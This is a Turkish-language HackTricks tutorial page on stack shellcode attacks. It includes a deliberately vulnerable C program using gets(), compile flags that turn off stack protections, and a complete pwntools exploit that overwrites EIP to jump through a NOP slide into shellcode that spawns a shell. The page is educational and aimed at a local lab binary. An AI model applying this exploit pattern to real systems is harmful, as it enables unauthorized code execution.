.. | ||
README.md | ||
stack-shellcode-arm64.md |
Yığın Kabuk Kodu
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Temel Bilgiler
Yığın kabuk kodu, bir saldırganın zayıf bir programın yığınına kabuk kodu yazdığı ve ardından Komut İşaretçisi (IP) veya Genişletilmiş Komut İşaretçisi (EIP)'yi bu kabuk kodunun konumuna yönlendirdiği binary exploitation tekniğidir. Bu, yetkisiz erişim elde etmek veya hedef sistemde keyfi komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte bu sürecin ayrıntıları, basit bir C örneği ve pwntools ile Python kullanarak buna karşılık gelen bir saldırıyı nasıl yazabileceğiniz.
C Örneği: Zayıf Bir Program
Basit bir zayıf C programı örneğiyle başlayalım:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Bu program, gets()
fonksiyonunun kullanımından kaynaklanan bir tampon taşması saldırısına açıktır.
Derleme
Bu programı derlemek için çeşitli korumaları devre dışı bırakarak (zafiyetli bir ortamı simüle etmek için) aşağıdaki komutu kullanabilirsiniz:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Yığın korumasını devre dışı bırakır.-z execstack
: Yığını yürütülebilir yapar, yığında depolanan shellcode'un yürütülmesi için gereklidir.-no-pie
: Konum Bağımsız Yürütülebilir'i devre dışı bırakır, shellcode'un yerleşeceği bellek adresini tahmin etmeyi kolaylaştırır.-m32
: Programı 32 bitlik yürütülebilir olarak derler, genellikle exploit geliştirme sürecinde basitlik için kullanılır.
Pwntools Kullanarak Python Exploit'i
İşte pwntools kullanarak bir ret2shellcode saldırısı gerçekleştirmek için Python'da nasıl bir exploit yazabileceğinizi:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Bu betik, bir NOP kaydırması, shellcode ve ardından EIP'yi NOP kaydırmasına işaret eden bir adrese üzerine yazarak shellcode'un yürütülmesini sağlayan bir yük oluşturur.
NOP kaydırması (asm('nop')
), yürütmenin tam adresinden bağımsız olarak shellcode'a "kaydırılmasını" sağlamak için kullanılır. p32()
argümanını, tam adresinizin başlangıç adresine ve NOP kaydırmasına inmek için bir ofset ekleyerek ayarlayın.
Korumalar
- ASLR adresin her yürütmede güvenilir olması için devre dışı bırakılmalıdır veya işlevin depolanacağı adres her zaman aynı olmayacak ve kazan işlevinin nerede yüklendiğini bulmak için bir sızıntıya ihtiyacınız olacaktır.
- Stack Canaries da devre dışı bırakılmalıdır veya tehlikeye atılan EIP dönüş adresi asla takip edilmeyecektir.
- NX stack koruması, stack içindeki shellcode'un yürütülmesini engelleyecektir çünkü bu bölge yürütülebilir olmayacaktır.
Diğer Örnekler ve Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64 bit, ASLR ile stack adres sızıntısı, shellcode yazma ve ona atlamak
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR ile stack sızıntısı, shellcode yazma ve ona atlamak
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR ile stack sızıntısı, çıkış çağrısını önlemek için karşılaştırma, değişkeni bir değerle üzerine yazma ve shellcode yazma ve ona atlamak
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, ASLR yok, stack'i yürütülebilir yapmak için ROP cihazı ve stack'teki shellcode'a atlamak
Sıfırdan başlayarak AWS hacklemeyi htARTE (HackTricks AWS Red Team Expert) öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da 🐦 @hacktricks_live'ı takip edin.
- Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.